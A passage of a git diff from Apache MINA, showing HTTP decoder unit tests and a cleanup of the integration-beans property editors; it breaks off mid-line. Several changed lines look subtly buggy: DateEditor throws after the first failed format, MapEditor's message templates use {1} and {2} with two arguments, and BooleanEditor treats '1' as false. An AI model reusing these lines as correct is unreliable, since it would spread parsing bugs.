assertEquals(3, out.getQueue().size()); + assertTrue(out.getQueue().poll() instanceof HttpRequest); + assertTrue(out.getQueue().poll() instanceof IoBuffer); + assertTrue(out.getQueue().poll() instanceof HttpEndOfContent); + } + + @Test + public void testDeleteRequestWithoutBody() throws Exception { + ProtocolDecoderQueue out = executeRequest("DELETE", null); + assertEquals(2, out.getQueue().size()); + assertTrue(out.getQueue().poll() instanceof HttpRequest); + assertTrue(out.getQueue().poll() instanceof HttpEndOfContent); + } + + @Test + public void testDeleteRequestBody() throws Exception { + ProtocolDecoderQueue out = executeRequest("DELETE", "body"); + assertEquals(3, out.getQueue().size()); + assertTrue(out.getQueue().poll() instanceof HttpRequest); + assertTrue(out.getQueue().poll() instanceof IoBuffer); + assertTrue(out.getQueue().poll() instanceof HttpEndOfContent); + } + + @Test + public void testDIRMINA965NoContent() throws Exception { + ProtocolDecoderQueue out = new ProtocolDecoderQueue(); + IoBuffer buffer = IoBuffer.allocate(0).setAutoExpand(true); + buffer.putString("GET / HTTP/1.1\r\nHost: ", encoder); + buffer.rewind(); + while (buffer.hasRemaining()) { + decoder.decode(session, buffer, out); + } + buffer = IoBuffer.allocate(0).setAutoExpand(true); + buffer.putString("dummy\r\n\r\n", encoder); + buffer.rewind(); + while (buffer.hasRemaining()) { + decoder.decode(session, buffer, out); + } + assertEquals(2, out.getQueue().size()); + assertTrue(out.getQueue().poll() instanceof HttpRequest); + assertTrue(out.getQueue().poll() instanceof HttpEndOfContent); + } + + @Test + public void testDIRMINA965WithContent() throws Exception { + ProtocolDecoderQueue out = new ProtocolDecoderQueue(); + IoBuffer buffer = IoBuffer.allocate(0).setAutoExpand(true); + buffer.putString("GET / HTTP/1.1\r\nHost: ", encoder); + buffer.rewind(); + while (buffer.hasRemaining()) { + decoder.decode(session, buffer, out); + } + buffer = IoBuffer.allocate(0).setAutoExpand(true); + buffer.putString("dummy\r\nContent-Length: 1\r\n\r\nA", encoder); + buffer.rewind(); + while (buffer.hasRemaining()) { + decoder.decode(session, buffer, out); + } + + assertEquals(3, out.getQueue().size()); + assertTrue(out.getQueue().poll() instanceof HttpRequest); + assertTrue(out.getQueue().poll() instanceof IoBuffer); + assertTrue(out.getQueue().poll() instanceof HttpEndOfContent); + } + + @Test + public void testDIRMINA965WithContentOnTwoChunks() throws Exception { + ProtocolDecoderQueue out = new ProtocolDecoderQueue(); + IoBuffer buffer = IoBuffer.allocate(0).setAutoExpand(true); + buffer.putString("GET / HTTP/1.1\r\nHost: ", encoder); + buffer.rewind(); + while (buffer.hasRemaining()) { + decoder.decode(session, buffer, out); + } + buffer = IoBuffer.allocate(0).setAutoExpand(true); + buffer.putString("dummy\r\nContent-Length: 2\r\n\r\nA", encoder); + buffer.rewind(); + while (buffer.hasRemaining()) { + decoder.decode(session, buffer, out); + } + buffer = IoBuffer.allocate(0).setAutoExpand(true); + buffer.putString("B", encoder); + buffer.rewind(); + while (buffer.hasRemaining()) { + decoder.decode(session, buffer, out); + } + assertEquals(4, out.getQueue().size()); + assertTrue(out.getQueue().poll() instanceof HttpRequest); + assertTrue(out.getQueue().poll() instanceof IoBuffer); + assertTrue(out.getQueue().poll() instanceof IoBuffer); + assertTrue(out.getQueue().poll() instanceof HttpEndOfContent); + } + + @Test + public void testDIRMINA1035HeadersWithColons() throws Exception { + ProtocolDecoderQueue out = new ProtocolDecoderQueue(); + IoBuffer buffer = IoBuffer.allocate(0).setAutoExpand(true); + buffer.putString("GET / HTTP/1.0\r\nHost: localhost\r\n", encoder); + buffer.putString("SomeHeaderA: Value-A\r\n", encoder); + buffer.putString("SomeHeaderB: Value-B:Has:Some:Colons\r\n", encoder); + buffer.putString("SomeHeaderC: Value-C\r\n", encoder); + buffer.putString("SomeHeaderD:\r\n\r\n", encoder); + buffer.rewind(); + while (buffer.hasRemaining()) { + decoder.decode(session, buffer, out); + } + assertEquals(2, out.getQueue().size()); + HttpRequest request = (HttpRequest) out.getQueue().poll(); + assertEquals("Value-A", request.getHeader("SomeHeaderA".toLowerCase())); + assertEquals("Value-B:Has:Some:Colons", request.getHeader("SomeHeaderB".toLowerCase())); + assertEquals("Value-C", request.getHeader("SomeHeaderC".toLowerCase())); + assertEquals("", request.getHeader("SomeHeaderD".toLowerCase())); + assertTrue(out.getQueue().poll() instanceof HttpEndOfContent); + } + + @Test + public void verifyThatHeaderWithoutLeadingSpaceIsSupported() throws Exception { + ProtocolDecoderQueue out = new ProtocolDecoderQueue(); + IoBuffer buffer = IoBuffer.allocate(0).setAutoExpand(true); + buffer.putString("GET / HTTP/1.0\r\nHost:localhost\r\n\r\n", encoder); + buffer.rewind(); + while (buffer.hasRemaining()) { + decoder.decode(session, buffer, out); + } + assertEquals(2, out.getQueue().size()); + HttpRequest request = (HttpRequest) out.getQueue().poll(); + assertEquals("localhost", request.getHeader("host")); + assertTrue(out.getQueue().poll() instanceof HttpEndOfContent); + } + + @Test + public void verifyThatLeadingSpacesAreRemovedFromHeader() throws Exception { + ProtocolDecoderQueue out = new ProtocolDecoderQueue(); + IoBuffer buffer = IoBuffer.allocate(0).setAutoExpand(true); + buffer.putString("GET / HTTP/1.0\r\nHost: localhost\r\n\r\n", encoder); + buffer.rewind(); + while (buffer.hasRemaining()) { + decoder.decode(session, buffer, out); + } + assertEquals(2, out.getQueue().size()); + HttpRequest request = (HttpRequest) out.getQueue().poll(); + assertEquals("localhost", request.getHeader("host")); + assertTrue(out.getQueue().poll() instanceof HttpEndOfContent); + } + + @Test + public void verifyThatTrailingSpacesAreRemovedFromHeader() throws Exception { + ProtocolDecoderQueue out = new ProtocolDecoderQueue(); + IoBuffer buffer = IoBuffer.allocate(0).setAutoExpand(true); + buffer.putString("GET / HTTP/1.0\r\nHost:localhost \r\n\r\n", encoder); + buffer.rewind(); + while (buffer.hasRemaining()) { + decoder.decode(session, buffer, out); + } + assertEquals(2, out.getQueue().size()); + HttpRequest request = (HttpRequest) out.getQueue().poll(); + assertEquals("localhost", request.getHeader("host")); + assertTrue(out.getQueue().poll() instanceof HttpEndOfContent); + } + + @Test + public void dosOnRequestWithAdditionalData() throws Exception { + ProtocolDecoderQueue out = new ProtocolDecoderQueue(); + IoBuffer buffer = IoBuffer.allocate(0).setAutoExpand(true); + buffer.putString("GET / HTTP/1.0\r\nHost:localhost \r\n\r\ndummy", encoder); + buffer.rewind(); + int prevBufferPosition = buffer.position(); + while (buffer.hasRemaining()) { + decoder.decode(session, buffer, out); + assertNotEquals("Buffer at new position", prevBufferPosition, buffer.position()); + prevBufferPosition = buffer.position(); + } + assertEquals(2, out.getQueue().size()); + HttpRequest request = (HttpRequest) out.getQueue().poll(); + assertEquals("localhost", request.getHeader("host")); + assertTrue(out.getQueue().poll() instanceof HttpEndOfContent); + //session.removeAttribute(DECODER_STATE_ATT); // This test leaves session in HEAD state, crashing following test + } + + @Test + public void multtiByteContentDoesNotBreakFraming() throws Exception { + ProtocolDecoderQueue out = new ProtocolDecoderQueue(); + IoBuffer buffer = IoBuffer.allocate(0).setAutoExpand(true); + buffer.putString("GET / HTTP/1.0\r\nMyHeader: éééééééé\r\nHost: localhost\r\n\r\n", + Charset.forName("UTF-8").newEncoder()); + buffer.rewind(); + while (buffer.hasRemaining()) { + decoder.decode(session, buffer, out); + } + assertEquals(2, out.getQueue().size()); + HttpRequest request = (HttpRequest) out.getQueue().poll(); + assertEquals("localhost", request.getHeader("host")); + assertTrue(out.getQueue().poll() instanceof HttpEndOfContent); + //session.removeAttribute(DECODER_STATE_ATT); // This test leaves session in HEAD state, crashing following test + } +} diff --git a/mina-integration-beans/pom.xml b/mina-integration-beans/pom.xml index cab005c381..e377afc06f 100644 --- a/mina-integration-beans/pom.xml +++ b/mina-integration-beans/pom.xml @@ -24,17 +24,13 @@ org.apache.mina mina-parent - 2.0.1-SNAPSHOT + 2.2.10-SNAPSHOT mina-integration-beans Apache MINA JavaBeans Integration bundle - - ${project.groupId}.integration.beans - - ${project.groupId} @@ -43,5 +39,28 @@ bundle + + + + + org.apache.felix + maven-bundle-plugin + true + true + + META-INF + + ${project.groupId}.integration.beans + + org.apache.mina.integration.beans;version=${project.version};-noimport:=true + + + org.apache.mina.transport.vmpipe;version=${project.version}, + + + + + + diff --git a/mina-integration-beans/src/main/java/org/apache/mina/integration/beans/AbstractPropertyEditor.java b/mina-integration-beans/src/main/java/org/apache/mina/integration/beans/AbstractPropertyEditor.java index 2b07dbbd24..0466f1b1c9 100644 --- a/mina-integration-beans/src/main/java/org/apache/mina/integration/beans/AbstractPropertyEditor.java +++ b/mina-integration-beans/src/main/java/org/apache/mina/integration/beans/AbstractPropertyEditor.java @@ -30,52 +30,86 @@ public abstract class AbstractPropertyEditor extends PropertyEditorSupport { private String text; + private Object value; + private boolean trimText = true; - + protected void setTrimText(boolean trimText) { this.trimText = trimText; } + /** + * {@inheritDoc} + */ @Override public String getAsText() { return text; } + /** + * {@inheritDoc} + */ @Override public Object getValue() { return value; } + /** + * {@inheritDoc} + */ @Override - public void setAsText(String text) throws IllegalArgumentException { + public void setAsText(String text) { this.text = text; + if (text == null) { value = defaultValue(); } else { - value = toValue(trimText? text.trim() : text); + value = toValue(trimText ? text.trim() : text); } } + /** + * {@inheritDoc} + */ @Override public void setValue(Object value) { this.value = value; + if (value == null) { text = defaultText(); } else { text = toText(value); } } - + + /** + * @return The default text + */ protected String defaultText() { return null; } - + + /** + * @return The default value + */ protected Object defaultValue() { return null; } + /** + * Returns a String representation of the given value + * + * @param value The value + * @return A String representation of the value + */ protected abstract String toText(Object value); - protected abstract Object toValue(String text) throws IllegalArgumentException; - + + /** + * Returns an instance from a String representation of an object + * + * @param text The String representation to convert + * @return A instance of an object + */ + protected abstract Object toValue(String text); } diff --git a/mina-integration-beans/src/main/java/org/apache/mina/integration/beans/ArrayEditor.java b/mina-integration-beans/src/main/java/org/apache/mina/integration/beans/ArrayEditor.java index 9bc1778556..72b754ef33 100644 --- a/mina-integration-beans/src/main/java/org/apache/mina/integration/beans/ArrayEditor.java +++ b/mina-integration-beans/src/main/java/org/apache/mina/integration/beans/ArrayEditor.java @@ -33,12 +33,17 @@ */ public class ArrayEditor extends AbstractPropertyEditor { private final Class componentType; - + + /** + * Creates a new ArrayEditor instance + * + * @param componentType The component type + */ public ArrayEditor(Class componentType) { if (componentType == null) { throw new IllegalArgumentException("componentType"); } - + this.componentType = componentType; getComponentEditor(); setTrimText(false); @@ -46,48 +51,58 @@ public ArrayEditor(Class componentType) { private PropertyEditor getComponentEditor() { PropertyEditor e = PropertyEditorFactory.getInstance(componentType); + if (e == null) { - throw new IllegalArgumentException( - "No " + PropertyEditor.class.getSimpleName() + - " found for " + componentType.getSimpleName() + '.'); + throw new IllegalArgumentException("No " + PropertyEditor.class.getSimpleName() + " found for " + + componentType.getSimpleName() + '.'); } + return e; } + /** + * {@inheritDoc} + */ @Override protected String toText(Object value) { Class componentType = value.getClass().getComponentType(); + if (componentType == null) { throw new IllegalArgumentException("not an array: " + value); } - + PropertyEditor e = PropertyEditorFactory.getInstance(componentType); + if (e == null) { - throw new IllegalArgumentException( - "No " + PropertyEditor.class.getSimpleName() + - " found for " + componentType.getSimpleName() + '.'); + throw new IllegalArgumentException("No " + PropertyEditor.class.getSimpleName() + " found for " + + componentType.getSimpleName() + '.'); } - + StringBuilder buf = new StringBuilder(); - for (int i = 0; i < Array.getLength(value); i ++) { + + for (int i = 0; i < Array.getLength(value); i++) { e.setValue(Array.get(value, i)); // TODO normalize. String s = e.getAsText(); buf.append(s); buf.append(", "); } - + // Remove the last delimiter. if (buf.length() >= 2) { buf.setLength(buf.length() - 2); } + return buf.toString(); } + /** + * {@inheritDoc} + */ @Override protected Object toValue(String text) throws IllegalArgumentException { PropertyEditor e = getComponentEditor(); - List values = new ArrayList(); + List values = new ArrayList<>(); Matcher m = CollectionEditor.ELEMENT.matcher(text); boolean matchedDelimiter = true; @@ -96,7 +111,7 @@ protected Object toValue(String text) throws IllegalArgumentException { matchedDelimiter = true; continue; } - + if (!matchedDelimiter) { throw new IllegalArgumentException("No delimiter between elements: " + text); } @@ -104,18 +119,21 @@ protected Object toValue(String text) throws IllegalArgumentException { // TODO escape here. e.setAsText(m.group()); values.add(e.getValue()); - + matchedDelimiter = false; if (m.group(2) != null || m.group(3) != null) { // Skip the last '"'. + m.region(m.end() + 1, m.regionEnd()); } } - + Object answer = Array.newInstance(componentType, values.size()); - for (int i = 0; i < Array.getLength(answer); i ++) { + + for (int i = 0; i < Array.getLength(answer); i++) { Array.set(answer, i, values.get(i)); } + return answer; } } diff --git a/mina-integration-beans/src/main/java/org/apache/mina/integration/beans/BooleanEditor.java b/mina-integration-beans/src/main/java/org/apache/mina/integration/beans/BooleanEditor.java index dff2192b9d..89bca384ca 100644 --- a/mina-integration-beans/src/main/java/org/apache/mina/integration/beans/BooleanEditor.java +++ b/mina-integration-beans/src/main/java/org/apache/mina/integration/beans/BooleanEditor.java @@ -29,11 +29,10 @@ * @author Apache MINA Project */ public class BooleanEditor extends AbstractPropertyEditor { - private static final Pattern TRUE = Pattern.compile( - "(?:true|t|yes|y|1)", Pattern.CASE_INSENSITIVE); - private static final Pattern FALSE = Pattern.compile( - "(?:false|f|no|n|1)", Pattern.CASE_INSENSITIVE); - + private static final Pattern TRUE = Pattern.compile("(?:true|t|yes|y|1)", Pattern.CASE_INSENSITIVE); + + private static final Pattern FALSE = Pattern.compile("(?:false|f|no|n|1)", Pattern.CASE_INSENSITIVE); + @Override protected String toText(Object value) { return String.valueOf(value); @@ -44,11 +43,11 @@ protected Object toValue(String text) throws IllegalArgumentException { if (TRUE.matcher(text).matches()) { return Boolean.TRUE; } - + if (FALSE.matcher(text).matches()) { return Boolean.FALSE; } - + throw new IllegalArgumentException("Wrong boolean value: " + text); } } diff --git a/mina-integration-beans/src/main/java/org/apache/mina/integration/beans/CharacterEditor.java b/mina-integration-beans/src/main/java/org/apache/mina/integration/beans/CharacterEditor.java index 87c1280642..0129946261 100644 --- a/mina-integration-beans/src/main/java/org/apache/mina/integration/beans/CharacterEditor.java +++ b/mina-integration-beans/src/main/java/org/apache/mina/integration/beans/CharacterEditor.java @@ -30,7 +30,7 @@ */ public class CharacterEditor extends AbstractPropertyEditor { private static final Pattern UNICODE = Pattern.compile("\\\\[uU][0-9a-fA-F]+"); - + @Override protected String toText(Object value) { return String.valueOf(value); @@ -41,11 +41,11 @@ protected Object toValue(String text) throws IllegalArgumentException { if (text.length() == 0) { return Character.valueOf(Character.MIN_VALUE); } - + if (UNICODE.matcher(text).matches()) { return Character.valueOf((char) Integer.parseInt(text.substring(2))); } - + if (text.length() != 1) { throw new IllegalArgumentException("Too many characters: " + text); } diff --git a/mina-integration-beans/src/main/java/org/apache/mina/integration/beans/ClassEditor.java b/mina-integration-beans/src/main/java/org/apache/mina/integration/beans/ClassEditor.java index d1ff8fb89c..fa75b027b3 100644 --- a/mina-integration-beans/src/main/java/org/apache/mina/integration/beans/ClassEditor.java +++ b/mina-integration-beans/src/main/java/org/apache/mina/integration/beans/ClassEditor.java @@ -29,9 +29,8 @@ */ public class ClassEditor extends AbstractPropertyEditor { @Override - @SuppressWarnings("unchecked") protected String toText(Object value) { - return ((Class) value).getName(); + return ((Class) value).getName(); } @Override diff --git a/mina-integration-beans/src/main/java/org/apache/mina/integration/beans/CollectionEditor.java b/mina-integration-beans/src/main/java/org/apache/mina/integration/beans/CollectionEditor.java index 25f4440fb0..cd4065f368 100644 --- a/mina-integration-beans/src/main/java/org/apache/mina/integration/beans/CollectionEditor.java +++ b/mina-integration-beans/src/main/java/org/apache/mina/integration/beans/CollectionEditor.java @@ -32,19 +32,23 @@ * @author Apache MINA Project */ public class CollectionEditor extends AbstractPropertyEditor { - static final Pattern ELEMENT = Pattern.compile( - "([,\\s]+)|" + // Delimiter - "(?<=\")((?:\\\\\"|\\\\'|\\\\\\\\|\\\\ |[^\"])*)(?=\")|" + - "(?<=')((?:\\\\\"|\\\\'|\\\\\\\\|\\\\ |[^'])*)(?=')|" + - "((?:[^\\\\\\s'\",]|\\\\ |\\\\\"|\\\\')+)"); - + static final Pattern ELEMENT = Pattern.compile("([,\\s]+)|" + + // Delimiter + "(?<=\")((?:\\\\\"|\\\\'|\\\\\\\\|\\\\ |[^\"])*)(?=\")|" + + "(?<=')((?:\\\\\"|\\\\'|\\\\\\\\|\\\\ |[^'])*)(?=')|" + "((?:[^\\\\\\s'\",]|\\\\ |\\\\\"|\\\\')+)"); + private final Class elementType; - + + /** + * Creates a new CollectionEditor instance + * + * @param elementType The Element type + */ public CollectionEditor(Class elementType) { if (elementType == null) { throw new IllegalArgumentException("elementType"); } - + this.elementType = elementType; getElementEditor(); setTrimText(false); @@ -53,42 +57,49 @@ public CollectionEditor(Class elementType) { private PropertyEditor getElementEditor() { PropertyEditor e = PropertyEditorFactory.getInstance(elementType); if (e == null) { - throw new IllegalArgumentException( - "No " + PropertyEditor.class.getSimpleName() + - " found for " + elementType.getSimpleName() + '.'); + throw new IllegalArgumentException("No " + PropertyEditor.class.getSimpleName() + " found for " + + elementType.getSimpleName() + '.'); } return e; } + /** + * {@inheritDoc} + */ @Override - @SuppressWarnings("unchecked") protected final String toText(Object value) { StringBuilder buf = new StringBuilder(); - for (Object v: (Collection) value) { + + for (Object v : (Collection) value) { if (v == null) { v = defaultElement(); } - + PropertyEditor e = PropertyEditorFactory.getInstance(v); + if (e == null) { - throw new IllegalArgumentException( - "No " + PropertyEditor.class.getSimpleName() + - " found for " + v.getClass().getSimpleName() + '.'); - } + throw new IllegalArgumentException("No " + PropertyEditor.class.getSimpleName() + " found for " + + v.getClass().getSimpleName() + '.'); + } + e.setValue(v); // TODO normalize. String s = e.getAsText(); buf.append(s); buf.append(", "); } - + // Remove the last delimiter. if (buf.length() >= 2) { buf.setLength(buf.length() - 2); } + return buf.toString(); } + /** + * {@inheritDoc} + */ @Override protected final Object toValue(String text) throws IllegalArgumentException { PropertyEditor e = getElementEditor(); @@ -101,7 +112,7 @@ protected final Object toValue(String text) throws IllegalArgumentException { matchedDelimiter = true; continue; } - + if (!matchedDelimiter) { throw new IllegalArgumentException("No delimiter between elements: " + text); } @@ -109,27 +120,29 @@ protected final Object toValue(String text) throws IllegalArgumentException { // TODO escape here. e.setAsText(m.group()); answer.add(e.getValue()); - + matchedDelimiter = false; + if (m.group(2) != null || m.group(3) != null) { // Skip the last '"'. m.region(m.end() + 1, m.regionEnd()); } } - + return answer; } - + protected Collection newCollection() { - return new ArrayList(); + return new ArrayList<>(); } - + protected Object defaultElement() { PropertyEditor e = PropertyEditorFactory.getInstance(elementType); + if (e == null) { return null; } - + if (e instanceof AbstractPropertyEditor) { return ((AbstractPropertyEditor) e).defaultValue(); } diff --git a/mina-integration-beans/src/main/java/org/apache/mina/integration/beans/DateEditor.java b/mina-integration-beans/src/main/java/org/apache/mina/integration/beans/DateEditor.java index c1312c317d..d7b5abce68 100644 --- a/mina-integration-beans/src/main/java/org/apache/mina/integration/beans/DateEditor.java +++ b/mina-integration-beans/src/main/java/org/apache/mina/integration/beans/DateEditor.java @@ -35,51 +35,64 @@ */ public class DateEditor extends AbstractPropertyEditor { private static final Pattern MILLIS = Pattern.compile("[0-9][0-9]*"); - + private final DateFormat[] formats = new DateFormat[] { new SimpleDateFormat("EEE MMM dd HH:mm:ss zzz yyyy", Locale.ENGLISH), new SimpleDateFormat("yyyy-MM-dd HH:mm:ss Z", Locale.ENGLISH), new SimpleDateFormat("yyyy-MM-dd HH:mm:ss", Locale.ENGLISH), - new SimpleDateFormat("yyyy-MM-dd", Locale.ENGLISH), - new SimpleDateFormat("yyyy-MM", Locale.ENGLISH), - new SimpleDateFormat("yyyy", Locale.ENGLISH), - }; - + new SimpleDateFormat("yyyy-MM-dd", Locale.ENGLISH), new SimpleDateFormat("yyyy-MM", Locale.ENGLISH), + new SimpleDateFormat("yyyy", Locale.ENGLISH), }; + + /** + * Creates a new DateEditor instance + */ public DateEditor() { - for (DateFormat f: formats) { + for (DateFormat f : formats) { f.setLenient(true); } } + /** + * {@inheritDoc} + */ @Override protected String toText(Object value) { if (value instanceof Number) { long time = ((Number) value).longValue(); + if (time <= 0) { return null; } + value = new Date(time); } + return formats[0].format((Date) value); } + /** + * {@inheritDoc} + */ @Override - protected Object toValue(String text) throws IllegalArgumentException { + protected Object toValue(String text) { if (MILLIS.matcher(text).matches()) { long time = Long.parseLong(text); + if (time <= 0) { return null; } + return new Date(time); } - - for (DateFormat f: formats) { + + for (DateFormat f : formats) { try { return f.parse(text); } catch (ParseException e) { + throw new IllegalArgumentException("Wrong date: " + text); } } - + throw new IllegalArgumentException("Wrong date: " + text); } } diff --git a/mina-integration-beans/src/main/java/org/apache/mina/integration/beans/EnumEditor.java b/mina-integration-beans/src/main/java/org/apache/mina/integration/beans/EnumEditor.java index 3310f3b217..be2a9ef508 100644 --- a/mina-integration-beans/src/main/java/org/apache/mina/integration/beans/EnumEditor.java +++ b/mina-integration-beans/src/main/java/org/apache/mina/integration/beans/EnumEditor.java @@ -33,43 +33,56 @@ @SuppressWarnings("unchecked") public class EnumEditor extends AbstractPropertyEditor { private static final Pattern ORDINAL = Pattern.compile("[0-9]+"); - + private final Class enumType; - private final Set enums; + private final Set> enums; + + /** + * Creates a new EnumEditor instance + * + * @param enumType The type of Enum + */ public EnumEditor(Class enumType) { if (enumType == null) { throw new IllegalArgumentException("enumType"); } - + this.enumType = enumType; this.enums = EnumSet.allOf(enumType); } + /** + * {@inheritDoc} + */ @Override protected String toText(Object value) { - return value.toString(); + return value == null ? "" : value.toString(); } + /** + * {@inheritDoc} + */ @Override - protected Object toValue(String text) throws IllegalArgumentException { + protected Object toValue(String text) { if (ORDINAL.matcher(text).matches()) { int ordinal = Integer.parseInt(text); - for (Enum e: enums) { + + for (Enum e : enums) { if (e.ordinal() == ordinal) { return e; } } - + throw new IllegalArgumentException("wrong ordinal: " + ordinal); } - - for (Enum e: enums) { + + for (Enum e : enums) { if (text.equalsIgnoreCase(e.toString())) { return e; } } - + return Enum.valueOf(enumType, text); } } diff --git a/mina-integration-beans/src/main/java/org/apache/mina/integration/beans/InetAddressEditor.java b/mina-integration-beans/src/main/java/org/apache/mina/integration/beans/InetAddressEditor.java index 6cc6261855..a5d6e3eefb 100644 --- a/mina-integration-beans/src/main/java/org/apache/mina/integration/beans/InetAddressEditor.java +++ b/mina-integration-beans/src/main/java/org/apache/mina/integration/beans/InetAddressEditor.java @@ -38,8 +38,8 @@ public class InetAddressEditor extends AbstractPropertyEditor { @Override protected String toText(Object value) { String hostname = ((InetAddress) value).getHostAddress(); - if (hostname.equals("0:0:0:0:0:0:0:0") || hostname.equals("0.0.0.0") || - hostname.equals("00:00:00:00:00:00:00:00")) { + if (hostname.equals("0:0:0:0:0:0:0:0") || hostname.equals("0.0.0.0") + || hostname.equals("00:00:00:00:00:00:00:00")) { hostname = "*"; } return hostname; @@ -70,7 +70,7 @@ protected Object defaultValue() { try { return InetAddress.getByName("0.0.0.0"); } catch (UnknownHostException e) { - throw new InternalError(); + throw new IllegalStateException(); } } } diff --git a/mina-integration-beans/src/main/java/org/apache/mina/integration/beans/InetSocketAddressEditor.java b/mina-integration-beans/src/main/java/org/apache/mina/integration/beans/InetSocketAddressEditor.java index 41736e5123..7b7259b128 100644 --- a/mina-integration-beans/src/main/java/org/apache/mina/integration/beans/InetSocketAddressEditor.java +++ b/mina-integration-beans/src/main/java/org/apache/mina/integration/beans/InetSocketAddressEditor.java @@ -44,12 +44,12 @@ protected String toText(Object value) { } else { hostname = addr.getHostName(); } - - if (hostname.equals("0:0:0:0:0:0:0:0") || hostname.equals("0.0.0.0") || - hostname.equals("00:00:00:00:00:00:00:00")) { + + if (hostname.equals("0:0:0:0:0:0:0:0") || hostname.equals("0.0.0.0") + || hostname.equals("00:00:00:00:00:00:00:00")) { hostname = "*"; } - + return hostname + ':' + addr.getPort(); } @@ -59,7 +59,7 @@ protected Object toValue(String text) throws IllegalArgumentException { return defaultValue(); } - int colonIndex = text.lastIndexOf(":"); + int colonIndex = text.lastIndexOf(':'); if (colonIndex > 0) { String host = text.substring(0, colonIndex); if (!"*".equals(host)) { diff --git a/mina-integration-beans/src/main/java/org/apache/mina/integration/beans/ListEditor.java b/mina-integration-beans/src/main/java/org/apache/mina/integration/beans/ListEditor.java index b6536c183c..0dc99b258d 100644 --- a/mina-integration-beans/src/main/java/org/apache/mina/integration/beans/ListEditor.java +++ b/mina-integration-beans/src/main/java/org/apache/mina/integration/beans/ListEditor.java @@ -32,12 +32,20 @@ */ public class ListEditor extends CollectionEditor { + /** + * Creates a new DateEditor instance + * + * @param elementType The type of element + */ public ListEditor(Class elementType) { super(elementType); } + /** + * {@inheritDoc} + */ @Override protected Collection newCollection() { - return new ArrayList(); + return new ArrayList<>(); } } diff --git a/mina-integration-beans/src/main/java/org/apache/mina/integration/beans/MapEditor.java b/mina-integration-beans/src/main/java/org/apache/mina/integration/beans/MapEditor.java index 8ff5debd25..bc45361e3b 100644 --- a/mina-integration-beans/src/main/java/org/apache/mina/integration/beans/MapEditor.java +++ b/mina-integration-beans/src/main/java/org/apache/mina/integration/beans/MapEditor.java @@ -20,6 +20,7 @@ package org.apache.mina.integration.beans; import java.beans.PropertyEditor; +import java.text.MessageFormat; import java.util.Collection; import java.util.LinkedHashMap; import java.util.Map; @@ -33,23 +34,35 @@ * @author Apache MINA Project */ public class MapEditor extends AbstractPropertyEditor { - static final Pattern ELEMENT = Pattern.compile( - "([,\\s]+)|" + // Entry delimiter - "(\\s*=\\s*)|" + // Key-Value delimiter - "(?<=\")((?:\\\\\"|\\\\'|\\\\\\\\|\\\\ |[^\"])*)(?=\")|" + - "(?<=')((?:\\\\\"|\\\\'|\\\\\\\\|\\\\ |[^'])*)(?=')|" + - "((?:[^\\\\\\s'\",]|\\\\ |\\\\\"|\\\\')+)"); - + static final Pattern ELEMENT = Pattern.compile("([,\\s]+)|" + + // Entry delimiter + "(\\s*=\\s*)|" + + // Key-Value delimiter + "(?<=\")((?:\\\\\"|\\\\'|\\\\\\\\|\\\\ |[^\"])*)(?=\")|" + + "(?<=')((?:\\\\\"|\\\\'|\\\\\\\\|\\\\ |[^'])*)(?=')|" + "((?:[^\\\\\\s'\",]|\\\\ |\\\\\"|\\\\')+)"); + private final Class keyType; + private final Class valueType; + private static final String NO_VALUE = "No value {1} found for {2}."; + private static final String NO_KEY = "No key {1} found for {2}."; + + /** + * Creates a new DateEditor instance + * + * @param keyType The key type + * @param valueType The value type + */ public MapEditor(Class keyType, Class valueType) { if (keyType == null) { throw new IllegalArgumentException("keyType"); } + if (valueType == null) { throw new IllegalArgumentException("valueType"); } + this.keyType = keyType; this.valueType = valueType; getKeyEditor(); @@ -59,50 +72,53 @@ public MapEditor(Class keyType, Class valueType) { private PropertyEditor getKeyEditor() { PropertyEditor e = PropertyEditorFactory.getInstance(keyType); + if (e == null) { - throw new IllegalArgumentException( - "No key " + PropertyEditor.class.getSimpleName() + - " found for " + keyType.getSimpleName() + '.'); + throw new IllegalArgumentException(MessageFormat.format(NO_KEY, PropertyEditor.class.getSimpleName(), + keyType.getSimpleName())); } + return e; } private PropertyEditor getValueEditor() { PropertyEditor e = PropertyEditorFactory.getInstance(valueType); + if (e == null) { - throw new IllegalArgumentException( - "No value " + PropertyEditor.class.getSimpleName() + - " found for " + valueType.getSimpleName() + '.'); + throw new IllegalArgumentException(MessageFormat.format(NO_VALUE, PropertyEditor.class.getSimpleName(), + valueType.getSimpleName())); } + return e; } @Override - @SuppressWarnings("unchecked") protected final String toText(Object value) { StringBuilder buf = new StringBuilder(); - for (Object o: ((Map) value).entrySet()) { - Map.Entry entry = (Map.Entry) o; + + for (Map.Entry entry : ((Map) value).entrySet()) { Object ekey = entry.getKey(); Object evalue = entry.getValue(); - + PropertyEditor ekeyEditor = PropertyEditorFactory.getInstance(ekey); + if (ekeyEditor == null) { - throw new IllegalArgumentException( - "No key " + PropertyEditor.class.getSimpleName() + - " found for " + ekey.getClass().getSimpleName() + '.'); + throw new IllegalArgumentException(MessageFormat.format(NO_KEY, PropertyEditor.class.getSimpleName(), + ekey.getClass().getSimpleName())); } - ekeyEditor.setValue(ekey); + ekeyEditor.setValue(ekey); + PropertyEditor evalueEditor = PropertyEditorFactory.getInstance(evalue); + if (evalueEditor == null) { - throw new IllegalArgumentException( - "No value " + PropertyEditor.class.getSimpleName() + - " found for " + evalue.getClass().getSimpleName() + '.'); + throw new IllegalArgumentException(MessageFormat.format(NO_VALUE, PropertyEditor.class.getSimpleName(), + evalue.getClass().getSimpleName())); } + ekeyEditor.setValue(ekey); evalueEditor.setValue(evalue); - + // TODO normalize. String keyString = ekeyEditor.getAsText(); String valueString = evalueEditor.getAsText(); @@ -111,49 +127,44 @@ protected final String toText(Object value) { buf.append(valueString); buf.append(", "); } - + // Remove the last delimiter. if (buf.length() >= 2) { buf.setLength(buf.length() - 2); } + return buf.toString(); } @Override - protected final Object toValue(String text) throws IllegalArgumentException { + protected final Object toValue(String text) { PropertyEditor keyEditor = getKeyEditor(); PropertyEditor valueEditor = getValueEditor(); Map answer = newMap(); Matcher m = ELEMENT.matcher(text); TokenType lastTokenType = TokenType.ENTRY_DELIM; Object key = null; - Object value = null; + Object value; while (m.find()) { if (m.group(1) != null) { - switch (lastTokenType) { - case VALUE: case ENTRY_DELIM: - break; - default: - throw new IllegalArgumentException( - "Unexpected entry delimiter: " + text); + if ((lastTokenType != TokenType.VALUE) && (lastTokenType != TokenType.ENTRY_DELIM)) { + throw new IllegalArgumentException("Unexpected entry delimiter: " + text); } - + lastTokenType = TokenType.ENTRY_DELIM; continue; } - + if (m.group(2) != null) { if (lastTokenType != TokenType.KEY) { - throw new IllegalArgumentException( - "Unexpected key-value 